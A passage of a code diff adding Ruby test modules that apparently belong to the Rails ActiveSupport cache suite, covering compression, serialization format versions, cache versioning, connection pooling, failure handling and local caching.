+    @store = lookup_store(coder: coder)
+    @store.write_multi({ "foo" => "bar", "egg" => "spam" })
+    assert_equal 2, coder.dumped_entries.size
+    entry = coder.dumped_entries.first
+    assert_instance_of ActiveSupport::Cache::Entry, entry
+    assert_equal "bar", entry.value
+
+    entry = coder.dumped_entries[1]
+    assert_instance_of ActiveSupport::Cache::Entry, entry
+    assert_equal "spam", entry.value
+  end
+
+  def test_coder_does_not_receive_the_entry_on_read_miss
+    coder = SpyCoder.new
+    @store = lookup_store(coder: coder)
+    @store.read("foo")
+    assert_equal 0, coder.loaded_entries.size
+  end
+
+  def test_nil_coder_bypasses_serialization
+    @store = lookup_store(coder: nil)
+    entry = ActiveSupport::Cache::Entry.new("value")
+    assert_same entry, @store.send(:serialize_entry, entry)
+  end
+
+  def test_coder_is_used_during_handle_expired_entry_when_expired
+    coder = SpyCoder.new
+    @store = lookup_store(coder: coder)
+    @store.write("foo", "bar", expires_in: 1.second)
+    assert_equal 0, coder.loaded_entries.size
+    assert_equal 1, coder.dumped_entries.size
+
+    travel_to(2.seconds.from_now) do
+      val = @store.fetch(
+          "foo",
+          race_condition_ttl: 5,
+          compress: true,
+          compress_threshold: 0
+        ) { "baz" }
+      assert_equal "baz", val
+      assert_equal 1, coder.loaded_entries.size # 1 read in fetch
+      assert_equal "bar", coder.loaded_entries.first.value
+      assert_equal 1, coder.dumped_entries.size # did not change from original write
+      assert_equal 2, coder.dump_compressed_entries.size # 1 write the expired entry handler, 1 in fetch
+      assert_equal "bar", coder.dump_compressed_entries.first.value
+      assert_equal "baz", coder.dump_compressed_entries.last.value
+    end
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_compression_behavior.rb b/activesupport/test/cache/behaviors/cache_store_compression_behavior.rb
new file mode 100644
index 0000000000000..9aee159e19a19
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_compression_behavior.rb
@@ -0,0 +1,169 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/numeric/bytes"
+require "active_support/core_ext/object/with"
+
+module CacheStoreCompressionBehavior
+  extend ActiveSupport::Concern
+
+  included do
+    test "compression works with cache format version 7.0 (using Marshal70WithFallback)" do
+      @cache = with_format(7.0) { lookup_store(compress: true) }
+      assert_compression true
+    end
+
+    test "compression works with cache format version >= 7.1 (using Cache::Coder)" do
+      @cache = with_format(7.1) { lookup_store(compress: true) }
+      assert_compression true
+    end
+
+    test "compression is disabled with custom coder" do
+      @cache = with_format(7.1) { lookup_store(coder: Marshal) }
+      assert_compression false
+    end
+
+    test "compression works with custom serializer" do
+      @cache = with_format(7.1) { lookup_store(compress: true, serializer: Marshal) }
+      assert_compression true
+    end
+
+    test "compression by default" do
+      @cache = lookup_store
+      assert_compression !compression_always_disabled_by_default?
+    end
+
+    test "compression can be disabled" do
+      @cache = lookup_store(compress: false)
+      assert_compression false
+    end
+
+    test ":compress method option overrides initializer option" do
+      @cache = lookup_store(compress: true)
+      assert_compression false, with: { compress: false }
+
+      @cache = lookup_store(compress: false)
+      assert_compression true, with: { compress: true }
+    end
+
+    test "low :compress_threshold triggers compression" do
+      @cache = lookup_store(compress: true, compress_threshold: 1)
+      assert_compression :all
+    end
+
+    test "high :compress_threshold inhibits compression" do
+      @cache = lookup_store(compress: true, compress_threshold: 1.megabyte)
+      assert_compression false
+    end
+
+    test ":compress_threshold method option overrides initializer option" do
+      @cache = lookup_store(compress: true, compress_threshold: 1)
+      assert_compression false, with: { compress_threshold: 1.megabyte }
+
+      @cache = lookup_store(compress: true, compress_threshold: 1.megabyte)
+      assert_compression :all, with: { compress_threshold: 1 }
+    end
+
+    test "compression ignores nil" do
+      assert_not_compress nil
+      assert_not_compress nil, with: { compress: true, compress_threshold: 1 }
+    end
+
+    test "compression ignores incompressible data" do
+      assert_not_compress "", with: { compress: true, compress_threshold: 1 }
+      assert_not_compress [*0..127].pack("C*"), with: { compress: true, compress_threshold: 1 }
+    end
+
+    test "compressor can be specified" do
+      lossy_compressor = Module.new do
+        def self.deflate(dumped)
+          "yolo"
+        end
+
+        def self.inflate(compressed)
+          Marshal.dump("lossy!") if compressed == "yolo"
+        end
+      end
+
+      @cache = with_format(7.1) do
+        lookup_store(compress: true, compressor: lossy_compressor, serializer: Marshal)
+      end
+      key = SecureRandom.uuid
+
+      @cache.write(key, LARGE_OBJECT)
+      assert_equal "lossy!", @cache.read(key)
+    end
+
+    test "compressor can be nil" do
+      @cache = with_format(7.1) { lookup_store(compressor: nil) }
+      assert_compression false
+    end
+
+    test "specifying a compressor raises when cache format version < 7.1" do
+      with_format(7.0) do
+        assert_raises ArgumentError, match: /compressor/i do
+          lookup_store(compressor: Zlib)
+        end
+      end
+    end
+
+    test "specifying a compressor raises when also specifying a coder" do
+      with_format(7.1) do
+        assert_raises ArgumentError, match: /compressor/i do
+          lookup_store(compressor: Zlib, coder: Marshal)
+        end
+      end
+    end
+  end
+
+  private
+    # Use strings that are guaranteed to compress well, so we can easily tell if
+    # the compression kicked in or not.
+    SMALL_STRING = "0" * 100
+    LARGE_STRING = "0" * 2.kilobytes
+
+    SMALL_OBJECT = { data: SMALL_STRING }
+    LARGE_OBJECT = { data: LARGE_STRING }
+
+    def with_format(format_version, &block)
+      ActiveSupport::Cache.with(format_version: format_version, &block)
+    end
+
+    def assert_compress(value, **options)
+      assert_operator compute_entry_size_reduction(value, **options), :>, 0
+    end
+
+    def assert_not_compress(value, **options)
+      assert_equal 0, compute_entry_size_reduction(value, **options)
+    end
+
+    def assert_compression(compress, **options)
+      if compress == :all
+        assert_compress SMALL_STRING, **options
+        assert_compress SMALL_OBJECT, **options
+      else
+        assert_not_compress SMALL_STRING, **options
+        assert_not_compress SMALL_OBJECT, **options
+      end
+
+      if compress
+        assert_compress LARGE_STRING, **options
+        assert_compress LARGE_OBJECT, **options
+      else
+        assert_not_compress LARGE_STRING, **options
+        assert_not_compress LARGE_OBJECT, **options
+      end
+    end
+
+    def compute_entry_size_reduction(value, with: {})
+      entry = ActiveSupport::Cache::Entry.new(value)
+
+      uncompressed = @cache.send(:serialize_entry, entry, **with, compress: false)
+      actual = @cache.send(:serialize_entry, entry, **with)
+
+      uncompressed.bytesize - actual.bytesize
+    end
+
+    def compression_always_disabled_by_default?
+      false
+    end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_format_version_behavior.rb b/activesupport/test/cache/behaviors/cache_store_format_version_behavior.rb
new file mode 100644
index 0000000000000..9f9d80e7ddd13
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_format_version_behavior.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/with"
+
+module CacheStoreFormatVersionBehavior
+  extend ActiveSupport::Concern
+
+  FORMAT_VERSION_SIGNATURES = {
+    7.0 => [
+      "\x00\x04\x08[".b, # "\x00" + Marshal.dump(entry.pack)
+      "\x01\x78".b,      # "\x01" + Zlib::Deflate.deflate(...)
+    ],
+    7.1 => [
+      "\x00\x11\x01".b, # ActiveSupport::Cache::Coder#dump
+      "\x00\x11\x81".b, # ActiveSupport::Cache::Coder#dump_compressed
+    ],
+  }
+
+  FORMAT_VERSIONS = FORMAT_VERSION_SIGNATURES.keys
+
+  included do
+    test "format version affects default coder" do
+      coders = FORMAT_VERSIONS.map do |format_version|
+        with_format(format_version) do
+          lookup_store.instance_variable_get(:@coder)
+        end
+      end
+
+      assert_equal coders, coders.uniq
+    end
+
+    test "invalid format version raises" do
+      with_format(0) do
+        assert_raises do
+          lookup_store
+        end
+      end
+    end
+
+    FORMAT_VERSION_SIGNATURES.each do |format_version, (uncompressed_signature, compressed_signature)|
+      test "format version #{format_version.inspect} uses correct signature for uncompressed entries" do
+        serialized = with_format(format_version) do
+          lookup_store.send(:serialize_entry, ActiveSupport::Cache::Entry.new(["value"] * 100))
+        end
+
+        if serialized.is_a?(String)
+          assert_operator serialized, :start_with?, uncompressed_signature
+        end
+      end
+
+      test "format version #{format_version.inspect} uses correct signature for compressed entries" do
+        serialized = with_format(format_version) do
+          lookup_store.send(:serialize_entry, ActiveSupport::Cache::Entry.new(["value"] * 100), compress_threshold: 1)
+        end
+
+        if serialized.is_a?(String)
+          assert_operator serialized, :start_with?, compressed_signature
+        end
+      end
+
+      test "Marshal undefined class/module deserialization error with #{format_version} format" do
+        key = "marshal-#{rand}"
+        self.class.const_set(:RemovedConstant, Class.new)
+        @store = with_format(format_version) { lookup_store }
+        @store.write(key, self.class::RemovedConstant.new)
+        assert_instance_of self.class::RemovedConstant, @store.read(key)
+
+        self.class.send(:remove_const, :RemovedConstant)
+        assert_nil @store.read(key)
+        assert_equal false, @store.exist?(key)
+      ensure
+        self.class.send(:remove_const, :RemovedConstant) rescue nil
+      end
+
+      test "Compressed Marshal undefined class/module deserialization error with #{format_version} format" do
+        key = "marshal-#{rand}"
+        self.class.const_set(:RemovedConstant, Class.new)
+        @store = with_format(format_version) { lookup_store }
+        @store.write(key, self.class::RemovedConstant.new, compress: true, compress_threshold: 1)
+        assert_instance_of self.class::RemovedConstant, @store.read(key)
+
+        self.class.send(:remove_const, :RemovedConstant)
+        assert_nil @store.read(key)
+        assert_equal({}, @store.read_multi(key))
+        assert_equal("new-value", @store.fetch(key) { "new-value" })
+      ensure
+        self.class.send(:remove_const, :RemovedConstant) rescue nil
+      end
+    end
+
+    FORMAT_VERSIONS.product(FORMAT_VERSIONS) do |read_version, write_version|
+      test "format version #{read_version.inspect} can read #{write_version.inspect} entries" do
+        key = SecureRandom.uuid
+
+        with_format(write_version) do
+          lookup_store.write(key, "value for #{key}")
+        end
+
+        with_format(read_version) do
+          assert_equal "value for #{key}", lookup_store.read(key)
+        end
+      end
+
+      test "format version #{read_version.inspect} can read #{write_version.inspect} entries with compression" do
+        key = SecureRandom.uuid
+
+        with_format(write_version) do
+          lookup_store(compress_threshold: 1).write(key, key * 10)
+        end
+
+        with_format(read_version) do
+          assert_equal key * 10, lookup_store.read(key)
+        end
+      end
+    end
+  end
+
+  private
+    def with_format(format_version, &block)
+      ActiveSupport::Cache.with(format_version: format_version, &block)
+    end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_serializer_behavior.rb b/activesupport/test/cache/behaviors/cache_store_serializer_behavior.rb
new file mode 100644
index 0000000000000..112603eccd732
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_serializer_behavior.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/with"
+
+module CacheStoreSerializerBehavior
+  extend ActiveSupport::Concern
+
+  included do
+    test "serializer can be specified" do
+      serializer = Module.new do
+        def self.dump(value)
+          value.class.name
+        end
+
+        def self.load(dumped)
+          Object.const_get(dumped)
+        end
+      end
+
+      @cache = with_format(7.1) { lookup_store(serializer: serializer) }
+      key = "key#{rand}"
+
+      @cache.write(key, 123)
+      assert_equal Integer, @cache.read(key)
+    end
+
+    test "serializer can be :message_pack" do
+      @cache = with_format(7.1) { lookup_store(serializer: :message_pack) }
+      key = "key#{rand}"
+
+      @cache.write(key, 123)
+      assert_equal 123, @cache.read(key)
+
+      assert_raises ActiveSupport::MessagePack::UnserializableObjectError do
+        @cache.write(key, Object.new)
+      end
+    end
+
+    test "specifying a serializer raises when also specifying a coder" do
+      with_format(7.1) do
+        assert_raises ArgumentError, match: /serializer/i do
+          lookup_store(serializer: Marshal, coder: Marshal)
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_version_behavior.rb b/activesupport/test/cache/behaviors/cache_store_version_behavior.rb
new file mode 100644
index 0000000000000..b7814040da85d
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_version_behavior.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+module CacheStoreVersionBehavior
+  ModelWithKeyAndVersion = Struct.new(:cache_key, :cache_version)
+
+  def test_fetch_with_right_version_should_hit
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+
+    @cache.fetch(key, version: 1) { value }
+    assert_equal value, @cache.read(key, version: 1)
+  end
+
+  def test_fetch_with_wrong_version_should_miss
+    key = SecureRandom.uuid
+
+    @cache.fetch(key, version: 1) { SecureRandom.alphanumeric }
+    assert_nil @cache.read(key, version: 2)
+  end
+
+  def test_read_with_right_version_should_hit
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+
+    @cache.write(key, value, version: 1)
+    assert_equal value, @cache.read(key, version: 1)
+  end
+
+  def test_read_with_wrong_version_should_miss
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+
+    @cache.write(key, value, version: 1)
+    assert_nil @cache.read(key, version: 2)
+  end
+
+  def test_exist_with_right_version_should_be_true
+    key = SecureRandom.uuid
+
+    @cache.write(key, SecureRandom.alphanumeric, version: 1)
+    assert @cache.exist?(key, version: 1)
+  end
+
+  def test_exist_with_wrong_version_should_be_false
+    key = SecureRandom.uuid
+
+    @cache.write(key, SecureRandom.alphanumeric, version: 1)
+    assert_not @cache.exist?(key, version: 2)
+  end
+
+  def test_reading_and_writing_with_model_supporting_cache_version
+    model_name = SecureRandom.alphanumeric
+
+    m1v1 = ModelWithKeyAndVersion.new("#{model_name}/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("#{model_name}/1", 2)
+
+    value = SecureRandom.alphanumeric
+
+    @cache.write(m1v1, value)
+    assert_equal value, @cache.read(m1v1)
+    assert_nil @cache.read(m1v2)
+  end
+
+  def test_reading_and_writing_with_model_supporting_cache_version_using_nested_key
+    model_name = SecureRandom.alphanumeric
+
+    m1v1 = ModelWithKeyAndVersion.new("#{model_name}/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("#{model_name}/1", 2)
+
+    value = SecureRandom.alphanumeric
+
+    @cache.write([ "something", m1v1 ], value)
+    assert_equal value, @cache.read([ "something", m1v1 ])
+    assert_nil @cache.read([ "something", m1v2 ])
+  end
+
+  def test_fetching_with_model_supporting_cache_version
+    model_name = SecureRandom.alphanumeric
+
+    m1v1 = ModelWithKeyAndVersion.new("#{model_name}/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("#{model_name}/1", 2)
+
+    value = SecureRandom.alphanumeric
+    other_value = SecureRandom.alphanumeric
+
+    @cache.fetch(m1v1) { value }
+    assert_equal value, @cache.fetch(m1v1) { other_value }
+    assert_equal other_value, @cache.fetch(m1v2) { other_value }
+  end
+
+  def test_exist_with_model_supporting_cache_version
+    model_name = SecureRandom.alphanumeric
+
+    m1v1 = ModelWithKeyAndVersion.new("#{model_name}/1", 1)
+    m1v2 = ModelWithKeyAndVersion.new("#{model_name}/1", 2)
+
+    value = SecureRandom.alphanumeric
+
+    @cache.write(m1v1, value)
+    assert @cache.exist?(m1v1)
+    assert_not @cache.fetch(m1v2)
+  end
+
+  def test_fetch_multi_with_model_supporting_cache_version
+    model_name = SecureRandom.alphanumeric
+
+    m1v1 = ModelWithKeyAndVersion.new("#{model_name}/1", 1)
+    m2v1 = ModelWithKeyAndVersion.new("#{model_name}/2", 1)
+    m2v2 = ModelWithKeyAndVersion.new("#{model_name}/2", 2)
+
+    first_fetch_values  = @cache.fetch_multi(m1v1, m2v1) { |m| m.cache_key }
+    second_fetch_values = @cache.fetch_multi(m1v1, m2v2) { |m| m.cache_key + " 2nd" }
+
+    assert_equal({ m1v1 => "#{model_name}/1", m2v1 => "#{model_name}/2" }, first_fetch_values)
+    assert_equal({ m1v1 => "#{model_name}/1", m2v2 => "#{model_name}/2 2nd" }, second_fetch_values)
+  end
+
+  def test_version_is_normalized
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+
+    @cache.write(key, value, version: 1)
+    assert_equal value, @cache.read(key, version: "1")
+  end
+end
diff --git a/activesupport/test/cache/behaviors/connection_pool_behavior.rb b/activesupport/test/cache/behaviors/connection_pool_behavior.rb
new file mode 100644
index 0000000000000..539a2272d7301
--- /dev/null
+++ b/activesupport/test/cache/behaviors/connection_pool_behavior.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module ConnectionPoolBehavior
+  def test_connection_pool
+    Thread.report_on_exception, original_report_on_exception = false, Thread.report_on_exception
+
+    threads = []
+
+    emulating_latency do
+      cache = ActiveSupport::Cache.lookup_store(*store, { pool: { size: 2, timeout: 0.1 } }.merge(store_options))
+      cache.read("foo")
+
+      assert_nothing_raised do
+        # One of the three threads will fail in 1 second because our pool size
+        # is only two.
+        3.times do
+          threads << Thread.new do
+            cache.read("latency")
+          end
+        end
+
+        threads.each(&:join)
+      end
+    ensure
+      threads.each(&:kill)
+    end
+  ensure
+    Thread.report_on_exception = original_report_on_exception
+  end
+
+  def test_connection_pool_fetch
+    Thread.report_on_exception, original_report_on_exception = false, Thread.report_on_exception
+
+    threads = []
+    results = []
+
+    emulating_latency do
+      cache = ActiveSupport::Cache.lookup_store(*store, { pool: { size: 2, timeout: 0.1 } }.merge(store_options))
+      value = SecureRandom.alphanumeric
+      base_key = "latency:#{SecureRandom.uuid}"
+
+      assert_nothing_raised do
+        # One of the three threads will fail in 1 second because our pool size
+        # is only two.
+        3.times do |i|
+          threads << Thread.new do
+            cache.fetch("#{base_key}:#{i}") { value }
+          end
+        end
+
+        results = threads.map(&:value)
+        assert_equal [value] * 3, results, "All threads should return the same value"
+      end
+    ensure
+      threads.each(&:kill)
+    end
+  ensure
+    Thread.report_on_exception = original_report_on_exception
+  end
+
+  def test_no_connection_pool
+    threads = []
+
+    emulating_latency do
+      cache = ActiveSupport::Cache.lookup_store(*store, store_options.merge(pool: false))
+
+      assert_nothing_raised do
+        # Default connection pool size is 5, assuming 10 will make sure that
+        # the connection pool isn't used at all.
+        10.times do
+          threads << Thread.new do
+            cache.read("latency")
+          end
+        end
+
+        threads.each(&:join)
+      end
+    ensure
+      threads.each(&:kill)
+    end
+  end
+
+  private
+    def store_options; {}; end
+end
diff --git a/activesupport/test/cache/behaviors/encoded_key_cache_behavior.rb b/activesupport/test/cache/behaviors/encoded_key_cache_behavior.rb
new file mode 100644
index 0000000000000..4a805aa79fe51
--- /dev/null
+++ b/activesupport/test/cache/behaviors/encoded_key_cache_behavior.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+# https://rails.lighthouseapp.com/projects/8994/tickets/6225-memcachestore-cant-deal-with-umlauts-and-special-characters
+# The error is caused by character encodings that can't be compared with ASCII-8BIT regular expressions and by special
+# characters like the umlaut in UTF-8.
+module EncodedKeyCacheBehavior
+  Encoding.list.each do |encoding|
+    define_method "test_#{encoding.name.underscore}_encoded_values" do
+      key = (+"foo_#{encoding.name.underscore}").force_encoding(encoding)
+      assert @cache.write(key, "1", raw: true)
+      assert_equal "1", @cache.read(key, raw: true)
+      assert_equal "1", @cache.fetch(key, raw: true)
+      assert @cache.delete(key)
+      assert_equal "2", @cache.fetch(key, raw: true) { "2" }
+      assert_equal 3, @cache.increment(key)
+      assert_equal 2, @cache.decrement(key)
+    end
+  end
+
+  def test_common_utf8_values
+    key = (+"\xC3\xBCmlaut").force_encoding(Encoding::UTF_8)
+    assert @cache.write(key, "1", raw: true)
+    assert_equal "1", @cache.read(key, raw: true)
+    assert_equal "1", @cache.fetch(key, raw: true)
+    assert @cache.delete(key)
+    assert_equal "2", @cache.fetch(key, raw: true) { "2" }
+    assert_equal 3, @cache.increment(key)
+    assert_equal 2, @cache.decrement(key)
+  end
+
+  def test_retains_encoding
+    key = (+"\xC3\xBCmlaut").force_encoding(Encoding::UTF_8)
+    assert @cache.write(key, "1", raw: true)
+    assert_equal Encoding::UTF_8, key.encoding
+  end
+end
diff --git a/activesupport/test/cache/behaviors/failure_raising_behavior.rb b/activesupport/test/cache/behaviors/failure_raising_behavior.rb
new file mode 100644
index 0000000000000..9db15cfa94a91
--- /dev/null
+++ b/activesupport/test/cache/behaviors/failure_raising_behavior.rb
@@ -0,0 +1,140 @@
+# frozen_string_literal: true
+
+module FailureRaisingBehavior
+  def test_fetch_read_failure_raises
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.fetch(key)
+      end
+    end
+  end
+
+  def test_fetch_with_block_read_failure_raises
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.write(key, value)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.fetch(key) { SecureRandom.alphanumeric }
+      end
+    end
+
+    assert_equal value, @cache.read(key)
+  end
+
+  def test_read_failure_raises
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.read(key)
+      end
+    end
+  end
+
+  def test_read_multi_failure_raises
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write_multi(
+      key => SecureRandom.alphanumeric,
+      other_key => SecureRandom.alphanumeric
+    )
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.read_multi(key, other_key)
+      end
+    end
+  end
+
+  def test_write_failure_raises
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.write(SecureRandom.uuid, SecureRandom.alphanumeric)
+      end
+    end
+  end
+
+  def test_write_multi_failure_raises
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.write_multi(
+          SecureRandom.uuid => SecureRandom.alphanumeric,
+          SecureRandom.uuid => SecureRandom.alphanumeric
+        )
+      end
+    end
+  end
+
+  def test_fetch_multi_failure_raises
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write_multi(
+      key => SecureRandom.alphanumeric,
+      other_key => SecureRandom.alphanumeric
+    )
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.fetch_multi(key, other_key) { |k| "unavailable" }
+      end
+    end
+  end
+
+  def test_delete_failure_raises
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.delete(key)
+      end
+    end
+  end
+
+  def test_exist_failure_raises
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.exist?(key)
+      end
+    end
+  end
+
+  def test_increment_failure_raises
+    key = SecureRandom.uuid
+    @cache.write(key, 1, raw: true)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.increment(key)
+      end
+    end
+  end
+
+  def test_decrement_failure_raises
+    key = SecureRandom.uuid
+    @cache.write(key, 1, raw: true)
+
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.decrement(key)
+      end
+    end
+  end
+
+  def test_clear_failure_returns_nil
+    assert_raise Redis::BaseError do
+      emulating_unavailability do |cache|
+        cache.clear
+      end
+    end
+  end
+end
diff --git a/activesupport/test/cache/behaviors/failure_safety_behavior.rb b/activesupport/test/cache/behaviors/failure_safety_behavior.rb
new file mode 100644
index 0000000000000..1bf98079d9f95
--- /dev/null
+++ b/activesupport/test/cache/behaviors/failure_safety_behavior.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+module FailureSafetyBehavior
+  def test_fetch_read_failure_returns_nil
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    emulating_unavailability do |cache|
+      assert_nil cache.fetch(key)
+    end
+  end
+
+  def test_fetch_read_failure_does_not_attempt_to_write
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.write(key, value)
+
+    emulating_unavailability do |cache|
+      val = cache.fetch(key) { "1" }
+
+      ##
+      # Though the `write` part of fetch fails for the same reason
+      # `read` will, the block result is still executed and returned.
+      assert_equal "1", val
+    end
+
+    assert_equal value, @cache.read(key)
+  end
+
+  def test_read_failure_returns_nil
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    emulating_unavailability do |cache|
+      assert_nil cache.read(key)
+    end
+  end
+
+  def test_read_multi_failure_returns_empty_hash
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write_multi(
+      key => SecureRandom.alphanumeric,
+      other_key => SecureRandom.alphanumeric
+    )
+
+    emulating_unavailability do |cache|
+      assert_equal Hash.new, cache.read_multi(key, other_key)
+    end
+  end
+
+  def test_write_failure_returns_nil
+    key = SecureRandom.uuid
+    emulating_unavailability do |cache|
+      assert_nil cache.write(key, SecureRandom.alphanumeric)
+    end
+  end
+
+  def test_write_multi_failure_not_raises
+    emulating_unavailability do |cache|
+      assert_nothing_raised do
+        cache.write_multi(
+          SecureRandom.uuid => SecureRandom.alphanumeric,
+          SecureRandom.uuid => SecureRandom.alphanumeric
+        )
+      end
+    end
+  end
+
+  def test_fetch_multi_failure_returns_fallback_results
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write_multi(
+      key => SecureRandom.alphanumeric,
+      other_key => SecureRandom.alphanumeric
+    )
+
+
+    emulating_unavailability do |cache|
+      fetched = cache.fetch_multi(key, other_key) { |k| "unavailable" }
+      assert_equal Hash[key => "unavailable", other_key => "unavailable"], fetched
+    end
+  end
+
+  def test_delete_failure_returns_false
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    emulating_unavailability do |cache|
+      assert_equal false, cache.delete(key)
+    end
+  end
+
+  def test_delete_multi_failure_returns_zero
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write_multi(
+      key => SecureRandom.alphanumeric,
+      other_key => SecureRandom.alphanumeric
+    )
+
+    emulating_unavailability do |cache|
+      assert_equal 0, cache.delete_multi([key, other_key])
+    end
+  end
+
+  def test_exist_failure_returns_false
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    emulating_unavailability do |cache|
+      assert_not cache.exist?(key)
+    end
+  end
+
+  def test_increment_failure_returns_nil
+    key = SecureRandom.uuid
+    @cache.write(key, 1, raw: true)
+
+    emulating_unavailability do |cache|
+      assert_nil cache.increment(key)
+    end
+  end
+
+  def test_decrement_failure_returns_nil
+    key = SecureRandom.uuid
+    @cache.write(key, 1, raw: true)
+
+    emulating_unavailability do |cache|
+      assert_nil cache.decrement(key)
+    end
+  end
+
+  def test_clear_failure_returns_nil
+    emulating_unavailability do |cache|
+      assert_nil cache.clear
+    end
+  end
+end
diff --git a/activesupport/test/cache/behaviors/local_cache_behavior.rb b/activesupport/test/cache/behaviors/local_cache_behavior.rb
new file mode 100644
index 0000000000000..001bb69b427e9
--- /dev/null
+++ b/activesupport/test/cache/behaviors/local_cache_behavior.rb
@@ -0,0 +1,374 @@
+# frozen_string_literal: true
+
+module LocalCacheBehavior
+  def test_instrumentation_with_local_cache
+    key = SecureRandom.uuid
+    events = capture_notifications("cache_write.active_support") do
+      @cache.write(key, SecureRandom.uuid)
+    end
+    assert_equal @cache.class.name, events[0].payload[:store]
+
+    @cache.with_local_cache do
+      events = capture_notifications("cache_read.active_support") do
+        @cache.read(key)
+        @cache.read(key)
+      end
+
+      expected = [@cache.class.name, @cache.send(:local_cache).class.name]
+      assert_equal expected, events.map { |p| p.payload[:store] }
+    end
+  end
+
+  def test_local_writes_are_persistent_on_the_remote_cache
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    retval = @cache.with_local_cache do
+      @cache.write(key, value)
+    end
+    assert retval
+    assert_equal value, @cache.read(key)
+  end
+
+  def test_clear_also_clears_local_cache
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      @cache.write(key, SecureRandom.alphanumeric)
+      @cache.clear
+      assert_nil @cache.read(key)
+    end
+
+    assert_nil @cache.read(key)
+  end
+
+  def test_clear_with_nil_options
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      @cache.write(key, SecureRandom.alphanumeric)
+      @cache.clear(nil)
+      assert_nil @cache.read(key)
+    end
+
+    assert_nil @cache.read(key)
+  end
+
+  def test_cleanup_clears_local_cache_but_not_remote_cache
+    begin
+      @cache.cleanup
+    rescue NotImplementedError
+      pass
+      return # Not implementing cleanup is valid
+    end
+
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    other_value = SecureRandom.alphanumeric
+
+    @cache.with_local_cache do
+      @cache.write(key, value)
+      assert_equal value, @cache.read(key)
+
+      @cache.send(:bypass_local_cache) { @cache.write(key, other_value) }
+      assert_equal value, @cache.read(key)
+
+      @cache.cleanup
+      assert_equal other_value, @cache.read(key)
+    end
+  end
+
+  def test_local_cache_of_write
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      @cache.write(key, value)
+      @peek.delete(key)
+      assert_equal value, @cache.read(key)
+    end
+  end
+
+  def test_local_cache_of_read_returns_a_copy_of_the_entry
+    key = SecureRandom.alphanumeric.to_sym
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      @cache.write(key, type: value)
+      local_value = @cache.read(key)
+      assert_equal(value, local_value.delete(:type))
+      assert_equal({ type: value }, @cache.read(key))
+    end
+  end
+
+  def test_local_cache_of_read
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.write(key, value)
+    @cache.with_local_cache do
+      assert_equal value, @cache.read(key)
+    end
+  end
+
+  def test_local_cache_of_read_nil
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      assert_nil @cache.read(key)
+      @cache.send(:bypass_local_cache) { @cache.write(key, value) }
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_local_cache_fetch
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      @cache.send(:local_cache).write_entry(key, value)
+      assert_equal value, @cache.send(:local_cache).fetch_entry(key)
+    end
+  end
